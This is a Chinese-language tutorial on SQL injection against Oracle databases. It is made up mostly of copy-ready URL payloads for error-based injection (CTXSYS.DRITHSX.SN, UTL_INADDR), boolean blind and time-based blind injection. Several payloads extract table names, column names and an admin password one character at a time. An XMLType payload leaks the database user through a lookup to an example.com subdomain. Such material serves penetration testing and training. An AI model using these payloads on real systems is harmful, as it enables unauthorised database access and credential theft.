CTXSYS.DRITHSX.SN() 是 Oracle 数据库中一个被用于报错注入的核心函数,但它本身并不是为注入而设计的——它是一个 Oracle Text 组件中的内部函数,主要用于文本索引的相关操作

核心原理:

该函数被用于报错注入的本质原因是:普通用户没有创建和查询 Oracle Text 相关主题的权限,当调用此函数时,会因为查询失败而抛出错误,而错误信息中会包含我们构造的子查询结果

流程:

1
2
3
4
5
1. 调用 CTXSYS.DRITHSX.SN(参数1, 参数2)
2. 参数2 中嵌入我们想要查询的 SQL 语句
3. 函数尝试执行文本索引相关操作
4. 由于当前用户没有相应权限,函数执行失败
5. Oracle 抛出错误,错误信息中包含了参数2中查询的结果

基本语法:

1
2
3
4
CTXSYS.DRITHSX.SN(参数1, (子查询语句))

注入构造:
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT 某字段 FROM 某表 WHERE ROWNUM = 1))

查询当前用户

1
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT USER FROM DUAL))

查询数据库版本

1
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT BANNER FROM V$VERSION WHERE ROWNUM = 1))

查询第一张表名

1
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT TABLE_NAME FROM USER_TABLES WHERE ROWNUM = 1))

ROWNUM 是 Oracle 的一个伪列(Pseudocolumn),它表示结果集中行的序号,从 1 开始递增

因为子查询只能返回一列,如果 子查询 返回多行数据,Oracle数据库会直接报错,但是函数 CTXSYS.DRITHSX.SN() 的第二个参数期望接收一个标量值(单个值),不能是多行结果集。

所以必须用 ROWNUM = 1 限制子查询只返回一行

查询指定表的列名

1
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME = 'USERS' AND ROWNUM = 1))

查询数据(配合 rownum 和 <> 获取多条)

1
2
3
4
5
-- 获取第一条
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT USERNAME FROM USERS WHERE ROWNUM = 1))

-- 获取第二条(排除第一条)
AND 1 = CTXSYS.DRITHSX.SN(1, (SELECT USERNAME FROM USERS WHERE ROWNUM = 1 AND USERNAME <> 'admin'))

XMLType 报错注入

1
2
-- 利用 XMLType 函数
?id=1 AND (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'||(SELECT user FROM DUAL)||'.example.com/">%remote;]>'),'/l') FROM DUAL) IS NOT NULL

但这种通常用于带外注入(OOB),单纯报错不如 CTXSYS 直接。

除零错误注入

1
2
-- 利用 TO_NUMBER 转换错误
?id=1 AND 1=TO_NUMBER((SELECT username FROM USERS WHERE ROWNUM=1))

但这种方法不会显示具体数据,只能用于布尔盲注,不适合直接报错出数据。

UTL_INADDR 报错注入

1
2
-- 需要数据库有网络函数权限
?id=1 AND UTL_INADDR.GET_HOST_ADDRESS((SELECT username FROM USERS WHERE ROWNUM=1)) IS NOT NULL

报错信息会尝试解析域名为 IP,如果域名非法会报错并显示查询结果。

布尔盲注

可利用函数:

函数 用途 示例
ASCII() 获取字符的 ASCII 码 ASCII('A') = 65
SUBSTR() 截取字符串 SUBSTR('abc', 1, 1) = 'a'
LENGTH() 获取字符串长度 LENGTH('abc') = 3
INSTR() 查找子串位置 INSTR('abc', 'b') = 2

利用:

确认注入点(布尔测试)

1
2
?id=1' AND '1'='1' --      → 页面正常
?id=1' AND '1'='2' -- → 页面异常

判断当前数据库用户

1
2
3
4
5
-- 判断用户名第一个字符是否为 'S'(ASCII 83)
?id=1' AND ASCII(SUBSTR((SELECT USER FROM DUAL), 1, 1)) = 83 --

-- 或者用更直观的字符串比较
?id=1' AND SUBSTR((SELECT USER FROM DUAL), 1, 1) = 'S' --

判断逻辑

  • = 83 正确 → 页面正常 → 第一个字符是 ‘S’
  • 不正确 → 页面异常 → 尝试其他 ASCII 值

判断当前用户下的表数量

1
2
-- 表数量是否 = 5?
?id=1' AND (SELECT COUNT(*) FROM USER_TABLES) = 5 --

获取第一张表名的长度

1
2
-- 第一张表名的长度是否 = 6?
?id=1' AND (SELECT LENGTH(table_name) FROM USER_TABLES WHERE ROWNUM = 1) = 6 --

逐字符获取表名

1
2
3
4
5
6
7
-- 第一张表名的第一个字符是否为 'U'?
?id=1' AND ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM = 1), 1, 1)) = 85 --

-- 第一个字符是否为 'A'?
?id=1' AND ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM = 1), 1, 1)) = 65 --

-- 依次类推,逐个字符爆破

获取 USERS 表的列数

1
2
-- USERS 表是否有 4 列?
?id=1' AND (SELECT COUNT(*) FROM USER_TAB_COLUMNS WHERE table_name = 'USERS') = 4 --

获取 USERS 表的列名

1
2
-- 第一列的第一个字符是否为 'I'?
?id=1' AND ASCII(SUBSTR((SELECT column_name FROM USER_TAB_COLUMNS WHERE table_name = 'USERS' AND ROWNUM = 1), 1, 1)) = 73 --

获取数据

1
2
-- admin 用户的密码第一个字符 ASCII 是否为 97('a')?
?id=1' AND ASCII(SUBSTR((SELECT password FROM USERS WHERE username = 'admin'), 1, 1)) = 97 --

时间盲注

可利用函数

函数 作用 示例
DBMS_LOCK.SLEEP(秒数) 让会话休眠指定秒数 DBMS_LOCK.SLEEP(5) → 延时 5 秒
CASE WHEN ... THEN ... ELSE ... END 条件判断,结合延时 CASE WHEN 条件 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END
DECODE() 条件判断函数 DECODE(条件, 真值, 延时函数, 假值)

注:DBMS_LOCK.SLEEP() 需要执行权限。如果当前用户无权限,可以尝试:

  • SYS.DBMS_LOCK.SLEEP()(指定 SYS 模式)
  • 或者用 AND (SELECT COUNT(*) FROM ALL_OBJECTS) > 1000000 这种消耗 CPU 的方式模拟延时

示例:

基础测试(是否存在时间盲注)

1
?id=1' AND DBMS_LOCK.SLEEP(5) -- 

如果页面响应延迟了 5 秒,说明存在时间盲注。

结合条件判断

1
2
-- 如果当前用户是 'SYS',就延时 5 秒
?id=1' AND (SELECT CASE WHEN USER = 'SYS' THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --

判断用户名第一个字符

1
2
-- 如果第一个字符 ASCII = 83('S'),延时 5 秒
?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT USER FROM DUAL), 1, 1)) = 83 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --

判断逻辑

  • 页面响应延迟 5 秒 → 条件为真 → 第一个字符是 ‘S’
  • 立即响应 → 条件为假 → 尝试其他 ASCII 值

逐字符获取表名

1
2
-- 第一张表名的第一个字符是否为 'U'?
?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM = 1), 1, 1)) = 85 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --

获取数据

1
2
-- admin 的密码第一个字符是否为 'a'?
?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT password FROM USERS WHERE username = 'admin'), 1, 1)) = 97 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --

DBMS_LOCK.SLEEP 权限的替代方案

1
2
3
4
5
-- 方法1:大量计算导致延时
?id=1' AND (SELECT COUNT(*) FROM ALL_OBJECTS A, ALL_OBJECTS B, ALL_OBJECTS C) > 0 --

-- 方法2:使用递归 CTE(高版本 Oracle)
?id=1' AND (WITH T(N) AS (SELECT 1 FROM DUAL UNION ALL SELECT N+1 FROM T WHERE N<1000000) SELECT COUNT(*) FROM T) > 0 --